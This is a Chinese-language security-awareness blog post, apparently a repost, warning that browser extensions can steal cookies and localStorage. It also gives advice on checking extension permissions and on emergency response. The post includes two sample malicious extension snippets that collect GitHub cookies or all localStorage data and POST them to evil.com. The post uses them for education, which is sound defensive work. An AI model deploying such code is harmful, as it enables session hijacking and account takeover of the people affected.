🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付

別再無腦裝插件了!你的瀏覽器擴展可能正在“偷家”

image

過去很長一段時間,我幾乎什麼瀏覽器插件都敢裝:調試、翻譯、抓包、下載、效率提升……直到我拆了一款熱門“資源分享”類擴展的代碼,才真正意識到:很多擴展擁有的權限,幾乎等同於在你的瀏覽器裡放了一個“貼身代理”。很多人還停留在“插件 ≈ 一個小工具”層面,但從權限模型看,它們可以做到的遠超你的想像。

目的:本文科普瀏覽器擴展權限風險、攻擊面、審查方法與應急處置。所有示例僅用於安全意識教育,禁止用於任何非法用途。

觸發案例

起因是我分析一款“資源整合分享”類插件,發現它在後台腳本裡枚舉指定站點所有 Cookie,再混淆打包上傳。它用到的 API 全部是“合法”擴展介面;代碼還做了層層混淆,普通用戶根本不會注意。

這讓我開始系統梳理:瀏覽器插件究竟能拿到多少“你以為安全”的東西?


常見誤區

誤區 真實情況
插件只在“我點它”時運行 有 background/service worker 事件驅動,能長期潛伏
頁面 JS 讀不到的(如 HttpOnly Cookie)插件也讀不到 擴展是特權層,可用 chrome.cookies API
沒輸帳號密碼就安全 登入態 / Token / LocalStorage / 頁面變數都可能被取走
流行擴展一定可信 專案可轉手,後期版本可“變質”
Manifest V3 已經杜絕惡意 只是收緊部分網路攔截,核心敏感面仍在

插件到底能幹啥?

理論上可以:

  • 讀取你所有網頁的內容
  • 獲取所有Cookie、localStorage,包括登入狀態
  • 監聽你在網頁上的操作(比如輸入、點擊)
  • 注入自己的腳本,甚至“劫持”你的頁面
  • 遠程把這些數據上傳到第三方伺服器

“HttpOnly Cookie 也能被瀏覽器插件讀?”技術解釋

頁面腳本受 document.cookie 限制,而瀏覽器插件調用 chrome.cookies.getAll 走的是瀏覽器內部特權介面,不受 document.cookie 限制。

前提:

  • manifest 聲明 cookies 權限
  • host_permissions 匹配域或 <all_urls>
  • 沒有被企業策略額外隔離

所以:HttpOnly 防的是 XSS 讀取,不防“被你自己安裝的特權擴展”。

真實案例:Cookie竊取

舉個簡單的例子,如果你登入了某個重要網站(比如 GitHub、公司後台),插件是可以直接拿到你的登入Cookie 的,然後在別的地方“復現”你的登入狀態,直接控制你的帳號!

惡意插件示例(最小代碼示例,僅警示用途)

省略Manifest配置...

// background.js - 惡意插件示例(僅用於提醒目的)
chrome.cookies.getAll({ domain: "github.com" }, function(cookies) {
    fetch("https://evil.com/api/upload", {
        method: "POST",
        body: JSON.stringify(cookies)
    });
});

這段代碼的意思就是,把你在 GitHub 的所有 Cookie 都打包上傳到遠端惡意伺服器上。只要你裝了這個插件,哪怕你自己啥都沒做,你的登入狀態就已經被"偷家"了!

更可怕的:localStorage劫持

插件還可以注入腳本到你所在的網站,然後獲取你的 localStorage,上傳到惡意伺服器上。

// 注入到目標網站的惡意腳本
chrome.scripting.executeScript({
  target: { tabId: tabId },
  func: () => {
    const data = {};
    // 獲取 localStorage
    for (let i = 0; i < localStorage.length; i++) {
      const key = localStorage.key(i);
      if (key) {
        data[key] = localStorage.getItem(key);
      }
    }
    fetch('https://evil.com/upload', {
        method: 'POST',
        body: JSON.stringify(data)
    });
  }
});

而且很多插件會用混淆、加密等方式隱藏自己的惡意行為,一般用戶根本發現不了。

如何保護自己?

1. 謹慎安裝插件

  • 只從官方應用商店下載,不要去第三方網站下載插件
  • 查看插件權限請求
  • 閱讀用戶評價和評分
  • 避免安裝來源不明的插件

2. 檢查插件權限

在 Chrome 中查看插件權限的步驟:

  1. 在地址欄輸入: chrome://extensions/
  2. 找到對應插件
  3. 點擊"詳情"
  4. 查看"權限"部分

實際案例分析

以 Adblock Plus 為例,這是一個免費的廣告攔截器:它的權限可以讀取所有網站上的數據。

image

繼續點擊網站設置可以看到其他的權限:

image

結論: 這個是全球用戶量很大的開源插件,在 Chrome 商店也可以直接下載,但如果從事特殊工作還是建議不安裝這類高權限插件。

3. 定期審查已安裝插件

  • 刪除不再使用的插件
  • 檢查插件的更新記錄
  • 關注插件開發者的信譽

4. 使用瀏覽器安全功能

  • 啟用安全瀏覽模式
  • 定期清理瀏覽器數據
  • 使用無痕模式處理敏感操作

應急處理方案

如果發現惡意插件,立即執行以下步驟:

立即操作(5分鐘內)

  1. 禁用可疑插件(先不要卸載,保留證據,後續通知團隊安全負責人)
  2. 斷網或切換設備
  3. 更改重要帳號密碼(銀行、郵箱、社交媒體)

總結

Chrome 插件安全是一個需要持續關注的話題。透過本指南,你應該能夠:

  1. 識別:了解插件權限系統,識別潛在風險
  2. 防護:選擇安全可靠的插件,避免惡意軟體
  3. 檢測:檢查現有插件安全性
  4. 應對:發現問題時知道如何正確處理

最後提醒:重要操作時使用瀏覽器無痕模式

往期實戰推薦:

如果對您有幫助的話, 記得點讚👍收藏⭐分享📤三連哦 , 转载请注明出处 ~


原文出處:https://juejin.cn/post/7553472039683031091


精選技術文章翻譯,幫助開發者持續吸收新知。

共有 0 則留言


精選技術文章翻譯,幫助開發者持續吸收新知。
🏆 本月排行榜
🥇
站長阿川
📝12   💬9   ❤️4
546
🥈
我愛JS
📝3   💬9   ❤️7
187
🥉
AppleLily
📝1   💬4   ❤️1
67
#4
xxuan
💬1  
3
#5
💬1  
3
評分標準:發文×10 + 留言×3 + 獲讚×5 + 點讚×1 + 瀏覽數÷10
本數據每小時更新一次
🔧 阿川の電商水電行
Shopify 顧問、維護與客製化
💡
小任務 / 單次支援方案
單次處理 Shopify 修正/微調
⭐️
維護方案
每月 Shopify 技術支援 + 小修改 + 諮詢
🚀
專案建置
Shopify 功能導入、培訓 + 分階段交付